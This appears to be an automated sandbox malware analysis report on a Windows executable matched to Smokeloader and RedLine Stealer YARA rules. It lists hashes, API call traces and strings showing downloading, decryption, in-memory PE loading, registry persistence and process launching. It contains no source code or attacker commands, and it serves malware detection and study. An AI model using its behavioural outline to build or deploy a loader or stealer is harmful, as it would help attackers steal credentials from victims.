((~-rp(os~~j(r=p~otj(rMp~otj(rp~otj(rp~otj(rp~otj(rp~otj(rp~ot~(Vs(tN(((0f(8Mo9:oo-a

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: file.exePID: 5480, Parent PID: 2580

General

Target ID:	0
Start time:	21:39:59
Start date:	12/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	2'009'600 bytes
MD5 hash:	5C682CD7D028B24B4CD0F276F3B50F54
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2444736465.0000000000D3C000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 4456, Parent PID: 5480

General

Target ID:	6
Start time:	21:40:50
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5480 -s 1728
Imagebase:	0xc00000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: file.exePID: 5480, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	3.9%
Dynamic/Decrypted Code Coverage:	10.6%
Signature Coverage:	57.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	23

Executed Functions

Function 00403D20 Relevance: 56.1, APIs: 25, Strings: 6, Instructions: 1839sleepcomCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000104,?,75DBD2FC,74DF0F00,00000000), ref: 00403D8A
CreateDirectoryA.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?), ref: 00403F19
Sleep.KERNEL32(000003E8), ref: 00403F22
__Init_thread_footer.LIBCMT ref: 004044F7
__Init_thread_footer.LIBCMT ref: 004046BD
SHGetFolderPathA.SHELL32(00000000,00000000,00000000,00000000,?,00000000,?,00406AA1,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 004048C7
__Init_thread_footer.LIBCMT ref: 00404955
__Init_thread_footer.LIBCMT ref: 00404BBE
CoInitialize.OLE32(00000000), ref: 00404C3F
CoCreateInstance.OLE32(0041F290,00000000,00000001,0041F260,?,?,00406AA1,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 00404C5A
__Init_thread_footer.LIBCMT ref: 004050BD
Sleep.KERNEL32(00000BB8,00000000,?,00406A81,0041D8A0,0042DB20,0042DB21), ref: 004052D5
__Init_thread_footer.LIBCMT ref: 004053CB
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,00000104,?,00406AA1,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 00404CC8

Part of subcall function 004107E2: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,00405A7F,00000000,75DBD2FC), ref: 004107F7
Part of subcall function 004107E2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00410816

CoUninitialize.COMBASE(?,00406AA1,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D,?,?,?,?,00000000,0042DA28), ref: 00404D01
CoUninitialize.OLE32(?,?,0042DC1D,?,?,?,?,00000000,0042DA28,0042DA29), ref: 00404DC4
CoUninitialize.OLE32(?,?,?,?,?,0042DC1D,?,?,?,?,00000000,0042DA28,0042DA29), ref: 00404E45
__Init_thread_footer.LIBCMT ref: 00404026

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Part of subcall function 004021F0: CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00402226
Part of subcall function 004021F0: WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00402247
Part of subcall function 004021F0: CloseHandle.KERNEL32(00000000), ref: 0040224E

__Init_thread_footer.LIBCMT ref: 00404202

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

Strings

viFO, xrefs: 004048DA
SUB=, xrefs: 00405A98
^OX*, xrefs: 00404B6B
]DFE, xrefs: 00404640
KDOX, xrefs: 004048E4
get, xrefs: 00405E91

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Init_thread_footer$CriticalSection$CreateFileUninitialize$EnterLeavePathSleepTime$ByteCharCloseConditionDirectoryFolderHandleInitializeInstanceMultiSystemTempUnothrow_t@std@@@VariableWakeWideWrite__ehfuncinfo$??2@
String ID: KDOX$SUB=$]DFE$^OX*$get$viFO
API String ID: 995133137-4208347134
Opcode ID: 2b5074e5ae3f74629323bde4956dacc6f2b5a6a8a3ea0f745ae83f81f010b08c
Instruction ID: 2a7656185698f67e8fe61b04cbca63a222de47e8cf16a67dea48f36782a400ee
Opcode Fuzzy Hash: 2b5074e5ae3f74629323bde4956dacc6f2b5a6a8a3ea0f745ae83f81f010b08c
Instruction Fuzzy Hash: 7BF2D1B0E042188BDB24DF24CC49B9EBBB1EF45304F5441E9E5097B2D2DB78AA85CF59

Function 00404F50 Relevance: 40.1, APIs: 16, Strings: 6, Instructions: 1645sleepregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004107E2: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,00405A7F,00000000,75DBD2FC), ref: 004107F7
Part of subcall function 004107E2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00410816

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 004050BD
Sleep.KERNEL32(00000BB8,00000000,?,00406A81,0041D8A0,0042DB20,0042DB21), ref: 004052D5
__Init_thread_footer.LIBCMT ref: 004053CB
Sleep.KERNEL32(000007D0), ref: 00405735
Sleep.KERNEL32(000007D0), ref: 0040574F
CoUninitialize.OLE32(?,?,0042DB3D,?,?,?,?,?,?,?,?,?,?,00000000,0042DB21), ref: 00405785
CoUninitialize.OLE32(?,?,?,?,?,0042DB3D,?,?,?,?,?,?,?), ref: 004057B1
RegCreateKeyExA.ADVAPI32(80000001,?,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00405903
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020006,?), ref: 00405925
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,?), ref: 0040594D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00405956
Sleep.KERNEL32(000005DC), ref: 00405A90

Strings

mixone, xrefs: 00406219
DFEK, xrefs: 0040535C
U%, xrefs: 00406916
updateSW, xrefs: 0040565B
SUB=, xrefs: 00405A98
get, xrefs: 00405E91

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Sleep$CriticalInit_thread_footerSectionTimeUninitialize$CloseCreateEnterFileLeaveOpenSystemUnothrow_t@std@@@Value__ehfuncinfo$??2@
String ID: DFEK$SUB=$get$mixone$updateSW$U%
API String ID: 606935701-3680244588
Opcode ID: 4db77f0429fbeff6bc7245b50d1839831cba9557f07ad327e6d61b565521e7f7
Instruction ID: 0d5b8b6ccd7ac2cce54ba59243f10dcebe2db4c82d63bd9967a8cdfa7b9099a4
Opcode Fuzzy Hash: 4db77f0429fbeff6bc7245b50d1839831cba9557f07ad327e6d61b565521e7f7
Instruction Fuzzy Hash: F5D20471D001148BDB14EB24CC597AEBB75AF01308F5481BEE8097B2D2DB78AE85CF99

Function 00402EC0 Relevance: 35.5, APIs: 11, Strings: 9, Instructions: 454
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetLastError.KERNEL32(0000000D), ref: 00402EE2
SetLastError.KERNEL32(000000C1), ref: 00402F24

Strings

Section alignment invalid!, xrefs: 00402FA7
alignedImageSize != AlignValueUp!, xrefs: 0040300C
ERROR_OUTOFMEMORY!, xrefs: 00403042
Signature != IMAGE_NT_SIGNATURE!, xrefs: 00402F81
Size is not valid!, xrefs: 00402EE8
DOS header is not valid!, xrefs: 00402F12
p.@P.@0.@, xrefs: 004030C5
FileHeader.Machine != HOST_MACHINE!, xrefs: 00402F93
DOS header size is not valid!, xrefs: 00402F51

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLast
String ID: DOS header is not valid!$DOS header size is not valid!$ERROR_OUTOFMEMORY!$FileHeader.Machine != HOST_MACHINE!$Section alignment invalid!$Signature != IMAGE_NT_SIGNATURE!$Size is not valid!$alignedImageSize != AlignValueUp!$p.@P.@0.@
API String ID: 1452528299-2075088523
Opcode ID: 93a66e001e3ee66e65f00ee5565e1e2522c51b5cf1621d66301cec4e888181c2
Instruction ID: 9256140b0f890bfcd87a01f3051d579660d3e2dc250f0df49545701e60f9fd82
Opcode Fuzzy Hash: 93a66e001e3ee66e65f00ee5565e1e2522c51b5cf1621d66301cec4e888181c2
Instruction Fuzzy Hash: CCF1CE71B002059BCB10CFA9D985BAAB7B4BF48305F14417AE909EB3C2D779ED11CB98

Function 004035B0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 225
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,?,00000018,F0000000,75DBD2FC), ref: 00403630
CryptCreateHash.ADVAPI32(?,0000800C,00000000,00000000,?), ref: 00403654
CryptHashData.ADVAPI32(?,00000000,?,00000000), ref: 004036BE
GetLastError.KERNEL32 ref: 004036C8
CryptDeriveKey.ADVAPI32(?,0000660E,?,00000000,?), ref: 004036F0
GetLastError.KERNEL32 ref: 004036FA
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040370A
CryptDecrypt.ADVAPI32(?,00000000,00000000,00000000,?,00000000), ref: 004037CC
CryptDestroyKey.ADVAPI32(?), ref: 0040383E

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 0040360C

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Crypt$ContextErrorHashLast$AcquireCreateDataDecryptDeriveDestroyRelease
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 3761881897-63410773
Opcode ID: 7f6218a34b9754140a9e9fc40106ac4304b7aaa720599af0eabc3a8fdf2c6258
Instruction ID: 8181a1f98bd0149a833479ac616fd79743055c61a592a1420c0c523c4d9566d8
Opcode Fuzzy Hash: 7f6218a34b9754140a9e9fc40106ac4304b7aaa720599af0eabc3a8fdf2c6258
Instruction Fuzzy Hash: 37819171A00218AFEF209F25CC45B9ABBB9FF45300F0081BAF90DA7291DB359E858F55

Function 00402A20 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 113
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 00402AC8
GetLastError.KERNEL32(00000400,?,00000000,00000000,?,?,?,?), ref: 00402ADD
FormatMessageA.KERNEL32(00001300,00000000,00000000,?,?,?,?), ref: 00402AEB
LocalAlloc.KERNEL32(00000040,?,?,?,?,?), ref: 00402B06
OutputDebugStringA.KERNEL32(00000000,?,?), ref: 00402B25
LocalFree.KERNEL32(00000000), ref: 00402B32
LocalFree.KERNEL32(?), ref: 00402B37

Strings

%s: %s, xrefs: 00402B16
Error protecting memory page, xrefs: 00402B11

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Local$Free$AllocDebugErrorFormatLastMessageOutputProtectStringVirtual
String ID: %s: %s$Error protecting memory page
API String ID: 839691724-1484484497
Opcode ID: f25455ec320cf7d64a2bc5a19560f05570590d079a315ae6df6c255a1a5fbc21
Instruction ID: 0c0000675eadf2e66051917e59d7aa22c0aaa2fc97c5d5fe75df83e4770fcd9e
Opcode Fuzzy Hash: f25455ec320cf7d64a2bc5a19560f05570590d079a315ae6df6c255a1a5fbc21
Instruction Fuzzy Hash: 4B310731B00104AFDB10DF68DD44FAAB768EF48704F0541BEE905AB2D2DB75AE06CB98

Function 00401940 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 293
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 004019D5
InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 004019F8

Strings

text, xrefs: 00401B5F

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileInternet$PointerRead
String ID: text
API String ID: 3197321146-999008199
Opcode ID: 5d2b67920e7965021a67acd32ea28e335973d0b9692ae9a2ead62ee0d6d92aa5
Instruction ID: 0125e10c814f2167b0c83c61a86ba883da1fe49b2781431745f5a2561ed14111
Opcode Fuzzy Hash: 5d2b67920e7965021a67acd32ea28e335973d0b9692ae9a2ead62ee0d6d92aa5
Instruction Fuzzy Hash: FAC15B709002189FDB24DF64CC85BD9B7B5EF49304F1041EAE509B72A1D778AE94CF99

Function 00D3D1DE Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00D3D206
Module32First.KERNEL32(00000000,00000224), ref: 00D3D226

Memory Dump Source

Source File: 00000000.00000002.2444736465.0000000000D3C000.00000040.00000020.00020000.00000000.sdmp, Offset: 00D3C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d3c000_file.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 37f068d9d62aa87c3cec85459e7b440de8c4a5df18f1dfcb5fb4161033700ecb
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 47F06D362007106BD7203BF9AC8DBAFB6E9AF49724F140629E652A10C0DA70EC468E75

Function 00408770 Relevance: 2.5, Strings: 2, Instructions: 27COMMON

Download Yara Rule

Strings

mixtwo, xrefs: 004087AC
emp, xrefs: 00408787

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Sleep
String ID: emp$mixtwo
API String ID: 3472027048-2390925073
Opcode ID: 25b80a3ffdd21913e586197d89a1d0a7f06881a9f76e4fd5286830887ded5122
Instruction ID: d670b023532553bde9b5cd74a18030282768016b503e3e09e149c4df20b712b6
Opcode Fuzzy Hash: 25b80a3ffdd21913e586197d89a1d0a7f06881a9f76e4fd5286830887ded5122
Instruction Fuzzy Hash: 15F01CB161430457E7147F65ED1B7173EA4970271CFA006ADD8141F2C2E7FB861A8BE6

Function 10001523 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 192
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 1000152A
__cftof.LIBCMT ref: 10001624
InternetOpenA.WININET(?,?,?,00000000,00000000), ref: 1000163D
InternetSetOptionA.WININET(00000000,00000041,?,00000004), ref: 10001660
InternetConnectA.WININET(00000000,?,00000050,?,?,00000003,00000000,00000001), ref: 10001680
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,80400000,00000001), ref: 100016B0
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 100016C9
InternetCloseHandle.WININET(00000000), ref: 100016E0
InternetCloseHandle.WININET(00000000), ref: 100016E3
InternetCloseHandle.WININET(00000000), ref: 100016E9

Strings

http://, xrefs: 10001567
GET, xrefs: 100016AA

Memory Dump Source

Source File: 00000000.00000002.2447840910.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2447811719.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2447971834.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2448059088.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectH_prolog3_OptionSend__cftof
String ID: GET$http://
API String ID: 1233269984-1632879366
Opcode ID: 6ef726b70a96d5212e420baa69142e1171cf0ccdfb6c98ffbdd36cdffced8e0e
Instruction ID: 7cfd31fe4164df5669dc4f011f358c4066a4bf273ac9d15a63e71752a24e0b34
Opcode Fuzzy Hash: 6ef726b70a96d5212e420baa69142e1171cf0ccdfb6c98ffbdd36cdffced8e0e
Instruction Fuzzy Hash: D5518F75E01618EBEB11CBE4CC85EEEB7B9EF48340F508114FA11BB189D7B49A45CBA0

Function 00401800 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 106
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401873
HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401899
HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 004018BF

Part of subcall function 00402470: Concurrency::cancel_current_task.LIBCPMT ref: 00402599

HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 004018E5

Strings

Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 00401832
GET, xrefs: 004020B7
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 0040189D
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 00401877
http://, xrefs: 00401EC4, 004021A3
text, xrefs: 00401B5F
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 004018C3

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: HeadersHttpRequest$Concurrency::cancel_current_task
String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1$GET$http://$text
API String ID: 2146599340-4172842843
Opcode ID: 63080466dd17a9b8a4ff43f685a9b199d52acbea20d3452c9180351abca4782c
Instruction ID: d9449a1bc553b4f7263359658e85a8d5597bae1f9675cad689ed873ec2693fe7
Opcode Fuzzy Hash: 63080466dd17a9b8a4ff43f685a9b199d52acbea20d3452c9180351abca4782c
Instruction Fuzzy Hash: A4316371D00109AFEB14DBE9CC85FEEB7B9EB08714F60812AE521731C0C7789945CBA4

Function 04B6003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 04B6024D

Strings

cess, xrefs: 04B6018D
kernel32.dll, xrefs: 04B6008F, 04B60095

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 028426c1fa3081d0d28a70eaa3d0da4b1e0b558b2b709878370dc2549d702951
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 3D526A74A01229DFDB64CF59C984BACBBB1BF09304F1480D9E94EAB351DB34AA85DF14

Function 10001175 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 264
networkcomfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 1000117F
InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 100011DD
InternetReadFile.WININET(?,?,000003E8,?), ref: 100011FB
HttpQueryInfoA.WININET(?,0000001D,?,00000103,00000000), ref: 10001298
CoCreateInstance.OLE32(?,00000000,00000001,100111B0,?), ref: 100012CA

Strings

text, xrefs: 10001327

Memory Dump Source

Source File: 00000000.00000002.2447840910.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2447811719.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2447971834.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2448059088.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: FileInternet$CreateH_prolog3_HttpInfoInstancePointerQueryRead
String ID: text
API String ID: 1154000607-999008199
Opcode ID: f206d19b4f254f0d6769d041d1967d247a093756c437c0eb0d60e70cbfafb4d3
Instruction ID: b002d723a568eb8b1b2c33cfea8b8604ab2d7fe63d6740fb25dc42610badb9b0
Opcode Fuzzy Hash: f206d19b4f254f0d6769d041d1967d247a093756c437c0eb0d60e70cbfafb4d3
Instruction Fuzzy Hash: 62B14975900229AFEB65CF24CC85BDAB7B8FF09355F1041D9E508A7265DB70AE80CF90

Function 00405A30 Relevance: 8.2, APIs: 2, Strings: 3, Instructions: 678sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 004107E2: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,00405A7F,00000000,75DBD2FC), ref: 004107F7
Part of subcall function 004107E2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00410816

Sleep.KERNEL32(000005DC), ref: 00405A90

Strings

U%, xrefs: 00406916
SUB=, xrefs: 00405A98
get, xrefs: 00405E91

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Time$FileSleepSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: SUB=$get$U%
API String ID: 2563648476-1840017472
Opcode ID: 167d1afffcf2c6992d5677df203f6ddfa97db10191ac7580195699f566a7dfe0
Instruction ID: c38411781881cdafda6c84006562c20812e5f10be50bcbbeaff71a156a434d29
Opcode Fuzzy Hash: 167d1afffcf2c6992d5677df203f6ddfa97db10191ac7580195699f566a7dfe0
Instruction Fuzzy Hash: 04323171D101089BCB19FBB5C95AADE73786F14308F50817FE856771C2EE7C6A08CAA9

Function 10001F20 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 182
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10005956: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,10001F48,00000000), ref: 10005969
Part of subcall function 10005956: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1000599A

CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 1000212B
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,0000000A), ref: 10002155

Strings

.exe, xrefs: 1000206B
open, xrefs: 1000214F

Memory Dump Source

Source File: 00000000.00000002.2447840910.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2447811719.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2447971834.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2448059088.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: Time$CreateExecuteFileProcessShellSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: .exe$open
API String ID: 1627157292-49952409
Opcode ID: 56d22cbb363ef52b0cda4d79fccaca7080f97512d5dca005a7fc8db3fc5e430b
Instruction ID: 97952a91a625a221cb26b3956644a393a6e3da00256d77b8c5daa8cab0653b15
Opcode Fuzzy Hash: 56d22cbb363ef52b0cda4d79fccaca7080f97512d5dca005a7fc8db3fc5e430b
Instruction Fuzzy Hash: 40514B715083809BE724DF64C881EDFB7E8FB95394F004A2EF69986195DB70A944CB62

Function 00401E20 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

http://, xrefs: 004021A3

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: http://
API String ID: 0-1121587658
Opcode ID: 9432e62186f2f9598efc4e2b603940abe351034223c82a34c2a9509acc0423bb
Instruction ID: 09126ff878240097ddd60f0c8300d9112e53121ff3c2cf1df5c9ef382bee38eb
Opcode Fuzzy Hash: 9432e62186f2f9598efc4e2b603940abe351034223c82a34c2a9509acc0423bb
Instruction Fuzzy Hash: 1A518E71E002099FDF14CFA9C895BEEB7B9EB08304F10812EE915BB6C1C779A944CB94

Function 009B4684 Relevance: 4.6, APIs: 3, Instructions: 105
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 009B541B
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 009B5442
GetNativeSystemInfo.KERNEL32(?), ref: 009B5499

Memory Dump Source

Source File: 00000000.00000002.2443597893.00000000009AE000.00000040.00000001.01000000.00000003.sdmp, Offset: 009AE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ae000_file.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: 5981b9fe475c13ca9e72484b7841b3eef09765bedd2aa472fd7815b4691872d9
Instruction ID: 4916b1c5d068363e05f2c4f51fea6c70638cc03acf05540fc7d1a1cd527d097a
Opcode Fuzzy Hash: 5981b9fe475c13ca9e72484b7841b3eef09765bedd2aa472fd7815b4691872d9
Instruction Fuzzy Hash: E7416DB150810EEFEF11DF54C949BEF3BE9EB04321F01042AE94682950E7BA4DA4CF59

Function 004021F0 Relevance: 4.6, APIs: 3, Instructions: 53
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00402226
WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00402247
CloseHandle.KERNEL32(00000000), ref: 0040224E

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

